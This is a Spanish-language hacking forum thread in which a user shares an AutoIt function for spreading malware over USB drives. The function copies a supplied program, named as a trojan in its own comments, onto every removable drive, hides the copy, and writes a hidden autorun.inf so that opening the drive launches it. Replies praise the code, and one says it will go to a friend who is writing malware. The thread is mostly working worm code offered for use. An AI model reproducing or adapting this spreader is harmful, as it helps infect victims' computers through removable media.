[AutoIt] USB spreader function

  • 2 Respuestas
  • 5076 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado 0b3Y

  • *
  • Underc0der
  • Mensajes: 12
  • Actividad:
    0%
  • Reputación 0
  • The World Is MINE!
    • Ver Perfil

[AutoIt] USB spreader function

  • en: Mayo 29, 2014, 03:18:19 pm
Hola buenas, les traigo aqui una funcion que acabo de relaizar para hacer spreading en los usb que esten conectados.
Actualmente estoy trabajando en la siguiente version asique esperen un poc y tendran el code mejorado :P

Código: (text) [Seleccionar]
; #FUNCTION# ===========================================================================================================
; Name...........: __Spreader
; Description ...: Copys a program in all USB and creates a autorun.
; Syntax.........: _Spreader ($program,nombre)
; Parameters ....: $program - The route of the program, must be complete, Ej: C:\Users\User\AppData\Roaming\TrojanFolder\Trojan.exe
;    $nombre - The name of the program, this will be used in the AutoRun. Must be like this, Ej: "TrojanName.exe"
; Author ........: 0b3y
; ===============================================================================================================================

Func _Spreader($program,$nombre)
$todos_drive=DriveGetDrive("REMOVABLE")
For $i=1 To $todos_drive[0]
   If $todos_drive[$i]="a:" Then
  ContinueLoop
   EndIf
   If Not FileExists($todos_drive[$i]&"\"&$program) Then FileCopy($program,$todos_drive[$i])
  FileSetAttrib($todos_drive[$i]&"\"&$program,"+H")
   If Not FileExists($todos_drive[$i]&"\"&"autorun.inf") Then
  $ifile=FileOpen($todos_drive[$i]&"\autorun.inf")
  FileWrite($ifile,"[Autorun]"&@CRLF&"Open="&$nombre&@CRLF&"Icon="&$nombre&@CRLF&"Label=Aplicaciones Portables"&@CRLF&"UserAutoPlay=1"&@CRLF&"action=Abrir USB"&@CRLF&"[email protected]"&$nombre&@CRLF&"shell\open=Abrir"&@CRLF&"shell\open\Command="&$nombre&@CRLF&"shell\explore=explorar"&@CRLF&"shell\explore\Command="&$nombre)
  FileClose($ifile)
  FileSetAttrib($todos_drive[$i]&"\autorun.inf","+H")
  EndIf
Next

EndFunc

« Última modificación: Junio 02, 2014, 07:32:13 am por 0b3Y »

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5678
  • Actividad:
    30%
  • Country: ar
  • Reputación 37
  • ANTRAX
  • Skype: underc0de.org
  • Twitter: @Underc0de
    • Ver Perfil
    • Underc0de
    • Email

Re:[AutoIt] USB spreader function

  • en: Mayo 29, 2014, 03:28:28 pm
Muy bueno bro! Se lo voy a recomendar a un amigo que estaba programando un malware en este lenguaje!

Saludos!
ANTRAX


Desconectado 79137913

  • *
  • Moderator
  • Mensajes: 706
  • Actividad:
    16.67%
  • Reputación 16
  • 4 Esquinas
  • Skype: [email protected]
    • Ver Perfil
    • Doors.Party
    • Email

Re:[AutoIt] USB spreader function

  • en: Mayo 29, 2014, 06:21:10 pm
HOLA!!!


Esta bueno, despues te paso uno mas :D.-


GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                   DOORS.PARTY